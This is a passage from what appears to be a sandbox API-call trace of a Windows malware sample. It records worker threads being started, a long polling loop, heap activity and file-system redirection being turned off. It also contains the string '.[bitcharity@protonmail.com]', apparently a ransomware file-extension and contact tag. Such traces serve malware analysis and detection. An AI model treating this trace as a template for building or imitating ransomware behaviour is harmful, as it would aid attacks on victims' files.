dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050 [0241.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0241.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0241.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c [0241.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706628 [0241.210] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706628, Size=0x20) returned 0x6e4018 [0241.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7067a8 [0241.210] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7067a8, Size=0x20) returned 0x6e4220 [0241.211] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.211] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.211] Wow64DisableWow64FsRedirection (in: OldValue=0x2f6ff7c | out: OldValue=0x2f6ff7c*=0x0) returned 1 [0241.211] lstrlenW (lpString="kernel32.dll") returned 12 [0241.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.211] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4220 | out: hHeap=0x630000) returned 1 [0241.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6f4be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0241.215] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0241.544] GetTickCount () returned 0x145be [0241.544] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0241.734] GetTickCount () returned 0x14689 [0241.734] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0242.159] GetTickCount () returned 0x1482f [0242.159] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0242.567] GetTickCount () returned 0x149c5 [0242.567] GetTickCount () returned 0x149c5 [0242.567] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0242.840] GetTickCount () returned 0x14adf [0242.840] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0243.171] GetTickCount () returned 0x14c27 [0243.171] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0243.592] GetTickCount () returned 0x14dcd [0243.592] GetTickCount () returned 0x14dcd [0243.592] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0243.850] GetTickCount () returned 0x14ec7 [0243.850] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0244.128] GetTickCount () returned 0x14fd0 [0244.128] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0244.694] GetTickCount () returned 0x15212 [0244.694] GetTickCount () returned 0x15212 [0244.694] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0245.158] GetTickCount () returned 0x153d8 [0245.158] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0245.523] GetTickCount () returned 0x1554f [0245.523] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0245.828] GetTickCount () returned 0x15677 [0245.828] GetTickCount () returned 0x15677 [0245.829] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0246.269] GetTickCount () returned 0x1583d [0246.269] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0246.621] GetTickCount () returned 0x15994 [0246.621] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0246.826] GetTickCount () returned 0x15a5f [0246.826] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0247.274] GetTickCount () returned 0x15c25 [0247.274] GetTickCount () returned 0x15c25 [0247.274] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0247.641] GetTickCount () returned 0x15d9c [0247.641] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0247.890] GetTickCount () returned 0x15e96 [0247.890] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0248.209] GetTickCount () returned 0x15fce [0248.209] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0248.445] GetTickCount () returned 0x160b8 [0248.445] GetTickCount () returned 0x160b8 [0248.445] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0248.642] GetTickCount () returned 0x16184 [0248.642] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0248.817] GetTickCount () returned 0x1622f [0248.817] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.040] GetTickCount () returned 0x1630a [0249.040] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.324] GetTickCount () returned 0x16423 [0249.324] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.606] GetTickCount () returned 0x1653d [0249.606] GetTickCount () returned 0x1653d [0249.606] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.734] GetTickCount () returned 0x165c9 [0249.734] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.861] GetTickCount () returned 0x16646 [0249.861] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0249.998] GetTickCount () returned 0x166d3 [0249.998] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0250.181] GetTickCount () returned 0x1677f [0250.181] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0250.297] GetTickCount () returned 0x167fc [0250.297] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0250.422] GetTickCount () returned 0x16879 [0250.422] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0250.658] GetTickCount () returned 0x16963 [0250.658] GetTickCount () returned 0x16963 [0250.658] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0251.083] GetTickCount () returned 0x16b09 [0251.083] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0251.499] GetTickCount () returned 0x16caf [0251.499] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0251.936] GetTickCount () returned 0x16e64 [0251.936] GetTickCount () returned 0x16e64 [0251.936] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0252.285] GetTickCount () returned 0x16fbc [0252.285] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0252.440] GetTickCount () returned 0x17058 [0252.440] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0252.668] GetTickCount () returned 0x17143 [0252.668] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0253.116] GetTickCount () returned 0x172f8 [0253.116] GetTickCount () returned 0x172f8 [0253.116] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0253.548] GetTickCount () returned 0x1749e [0253.548] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0253.940] GetTickCount () returned 0x17625 [0253.940] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0254.250] GetTickCount () returned 0x1775d [0254.250] GetTickCount () returned 0x1775d [0254.250] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0254.597] GetTickCount () returned 0x178b5 [0254.597] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0255.354] GetTickCount () returned 0x17bb3 [0255.354] GetTickCount () returned 0x17bb3 [0255.354] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0255.894] GetTickCount () returned 0x17dd6 [0255.894] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0256.570] GetTickCount () returned 0x18075 [0256.570] GetTickCount () returned 0x18075 [0256.570] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0256.917] GetTickCount () returned 0x181cd [0256.917] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0257.471] GetTickCount () returned 0x18400 [0257.471] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0258.101] GetTickCount () returned 0x18671 [0258.101] GetTickCount () returned 0x18671 [0258.101] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0258.229] GetTickCount () returned 0x186ee [0258.229] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0258.454] GetTickCount () returned 0x187d8 [0258.454] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0258.610] GetTickCount () returned 0x18874 [0258.610] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0258.959] GetTickCount () returned 0x189cc [0258.959] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0259.102] GetTickCount () returned 0x18a59 [0259.103] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0259.260] GetTickCount () returned 0x18af5 [0259.260] GetTickCount () returned 0x18af5 [0259.260] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0259.375] GetTickCount () returned 0x18b72 [0259.375] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0259.616] GetTickCount () returned 0x18c5c [0259.616] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0260.334] GetTickCount () returned 0x18f2b [0260.334] GetTickCount () returned 0x18f2b [0260.334] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0261.231] GetTickCount () returned 0x192b5 [0261.231] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0261.357] GetTickCount () returned 0x19332 [0261.357] GetTickCount () returned 0x19332 [0261.357] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0261.536] GetTickCount () returned 0x193de [0261.536] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0261.869] GetTickCount () returned 0x19526 [0261.869] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0262.288] GetTickCount () returned 0x196cc [0262.288] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0262.795] GetTickCount () returned 0x198d0 [0262.795] GetTickCount () returned 0x198d0 [0262.795] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0263.270] GetTickCount () returned 0x19aa5 [0263.270] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0263.540] GetTickCount () returned 0x19bae [0263.540] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0263.715] GetTickCount () returned 0x19c5a [0263.715] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0264.077] GetTickCount () returned 0x19dc1 [0264.077] GetTickCount () returned 0x19dc1 [0264.077] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0264.336] GetTickCount () returned 0x19ecb [0264.336] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0264.593] GetTickCount () returned 0x19fc5 [0264.593] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0264.704] GetTickCount () returned 0x1a032 [0264.704] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0264.911] GetTickCount () returned 0x1a10d [0264.911] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0265.146] GetTickCount () returned 0x1a1f8 [0265.146] GetTickCount () returned 0x1a1f8 [0265.146] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0265.547] GetTickCount () returned 0x1a37e [0265.547] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0265.709] GetTickCount () returned 0x1a42a [0265.709] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0266.041] GetTickCount () returned 0x1a572 [0266.041] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0266.160] GetTickCount () returned 0x1a5e0 [0266.160] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0266.274] GetTickCount () returned 0x1a65d [0266.274] GetTickCount () returned 0x1a65d [0266.274] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0266.460] GetTickCount () returned 0x1a718 [0266.460] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0266.686] GetTickCount () returned 0x1a7f3 [0266.686] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0267.068] GetTickCount () returned 0x1a979 [0267.068] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0267.758] GetTickCount () returned 0x1ac29 [0267.758] GetTickCount () returned 0x1ac29 [0267.758] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0267.917] GetTickCount () returned 0x1acc5 [0267.917] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0268.187] GetTickCount () returned 0x1adde [0268.187] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0268.386] GetTickCount () returned 0x1ae9a [0268.386] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0268.558] GetTickCount () returned 0x1af46 [0268.558] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0268.769] GetTickCount () returned 0x1b011 [0268.769] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0268.968] GetTickCount () returned 0x1b0dc [0268.968] GetTickCount () returned 0x1b0dc [0268.968] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0269.228] GetTickCount () returned 0x1b1e6 [0269.228] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0269.552] GetTickCount () returned 0x1b31e [0269.552] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0269.769] GetTickCount () returned 0x1b409 [0269.769] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0269.933] GetTickCount () returned 0x1b4a5 [0269.933] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0270.072] GetTickCount () returned 0x1b531 [0270.072] GetTickCount () returned 0x1b531 [0270.072] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0270.218] GetTickCount () returned 0x1b5be [0270.218] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0270.494] GetTickCount () returned 0x1b6d7 [0270.494] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0270.680] GetTickCount () returned 0x1b793 [0270.680] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0270.883] GetTickCount () returned 0x1b85e [0270.883] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0271.157] GetTickCount () returned 0x1b968 [0271.157] GetTickCount () returned 0x1b968 [0271.157] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0271.387] GetTickCount () returned 0x1ba52 [0271.387] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0271.612] GetTickCount () returned 0x1bb2d [0271.612] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0271.946] GetTickCount () returned 0x1bc84 [0271.946] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0272.154] GetTickCount () returned 0x1bd50 [0272.154] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0272.390] GetTickCount () returned 0x1be4a [0272.390] GetTickCount () returned 0x1be4a [0272.390] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0272.713] GetTickCount () returned 0x1bf82 [0272.713] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0273.030] GetTickCount () returned 0x1c0ca [0273.030] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0273.191] GetTickCount () returned 0x1c166 [0273.191] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0273.374] GetTickCount () returned 0x1c222 [0273.374] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0273.578] GetTickCount () returned 0x1c2dd [0273.578] GetTickCount () returned 0x1c2dd [0273.578] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0273.859] GetTickCount () returned 0x1c3f7 [0273.859] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0274.297] GetTickCount () returned 0x1c5ac [0274.297] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0274.796] GetTickCount () returned 0x1c7a0 [0274.796] GetTickCount () returned 0x1c7a0 [0274.796] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.050] GetTickCount () returned 0x1c8aa [0275.050] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.261] GetTickCount () returned 0x1c975 [0275.261] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.437] GetTickCount () returned 0x1ca21 [0275.437] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.568] GetTickCount () returned 0x1caad [0275.568] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.827] GetTickCount () returned 0x1cba7 [0275.827] GetTickCount () returned 0x1cba7 [0275.827] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0275.983] GetTickCount () returned 0x1cc44 [0275.983] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0276.211] GetTickCount () returned 0x1cd2e [0276.211] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0276.398] GetTickCount () returned 0x1cdea [0276.398] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0276.613] GetTickCount () returned 0x1cec4 [0276.613] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0276.771] GetTickCount () returned 0x1cf61 [0276.771] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0276.958] GetTickCount () returned 0x1d01c [0276.958] GetTickCount () returned 0x1d01c [0276.958] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0277.175] GetTickCount () returned 0x1d0f7 [0277.175] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0277.324] GetTickCount () returned 0x1d183 [0277.324] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0277.458] GetTickCount () returned 0x1d210 [0277.458] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0278.022] GetTickCount () returned 0x1d443 [0278.022] GetTickCount () returned 0x1d443 [0278.022] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0278.349] GetTickCount () returned 0x1d58b [0278.349] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0279.087] GetTickCount () returned 0x1d869 [0279.087] GetTickCount () returned 0x1d869 [0279.087] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0279.417] GetTickCount () returned 0x1d9b1 [0279.417] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0279.797] GetTickCount () returned 0x1db38 [0279.797] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0280.093] GetTickCount () returned 0x1dc61 [0280.093] GetTickCount () returned 0x1dc61 [0280.093] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0280.502] GetTickCount () returned 0x1ddf7 [0280.503] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0280.890] GetTickCount () returned 0x1df7e [0280.890] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0281.302] GetTickCount () returned 0x1e114 [0281.302] GetTickCount () returned 0x1e114 [0281.302] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0281.651] GetTickCount () returned 0x1e26c [0281.651] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0282.130] GetTickCount () returned 0x1e450 [0282.131] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0282.528] GetTickCount () returned 0x1e5e6 [0282.528] GetTickCount () returned 0x1e5e6 [0282.528] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0282.833] GetTickCount () returned 0x1e70f [0282.833] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0283.035] GetTickCount () returned 0x1e7da [0283.035] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0283.168] GetTickCount () returned 0x1e867 [0283.168] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0283.421] GetTickCount () returned 0x1e961 [0283.421] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0283.593] GetTickCount () returned 0x1ea0d [0283.593] GetTickCount () returned 0x1ea0d [0283.593] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0283.847] GetTickCount () returned 0x1eb07 [0283.847] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0284.053] GetTickCount () returned 0x1ebd2 [0284.053] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0284.200] GetTickCount () returned 0x1ec5e [0284.200] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0284.506] GetTickCount () returned 0x1ed97 [0284.506] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0284.917] GetTickCount () returned 0x1ef2d [0284.917] GetTickCount () returned 0x1ef2d [0284.917] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0285.275] GetTickCount () returned 0x1f095 [0285.275] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x102 [0285.424] GetTickCount () returned 0x1f131 [0285.424] WaitForSingleObject (hHandle=0x1060, dwMilliseconds=0x64) returned 0x0 [0285.521] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2f6ff5c*=0x1050, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0286.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4b71020 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc60 | out: hHeap=0x630000) returned 1 [0286.125] lstrlenW (lpString=".com") returned 4 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce6a0 | out: hHeap=0x630000) returned 1 [0286.125] lstrlenW (lpString=".[bitcharity@protonmail.com]") returned 28 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3490 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdcd0 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce490 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce4a8 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce640 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce760 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce4c0 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce610 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdd50 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce628 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce8e0 | out: hHeap=0x630000) returned 1 [0286.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce6b8 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cddb0 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdce0 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce880 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc40 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce670 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc30 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce5f8 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3d48 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f768 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a058 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64b0f8 | out: hHeap=0x630000) returned 1 [0286.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4be8 | out: hHeap=0x630000) returned 1 [0286.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef178 | out: hHeap=0x630000) returned 1 [0286.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9b98 [0286.173] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9b98, Size=0x20) returned 0x3f64758 [0286.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0286.173] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f647f8 [0286.173] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0286.174] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0286.174] Wow64DisableWow64FsRedirection (in: OldValue=0x2f6ff7c | out: OldValue=0x2f6ff7c*=0x1) returned 1 [0286.174] lstrlenW (lpString="kernel32.dll") returned 12 [0286.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f647f8 | out: hHeap=0x630000) returned 1 [0286.174] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0286.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64758 | out: hHeap=0x630000) returned 1 Thread: id = 2570 os_tid = 0x26d4 Thread: id = 2571 os_tid = 0x26d8 [0241.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3263a18 [0241.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3273a20 [0241.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706880 [0241.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdf90 [0241.644] 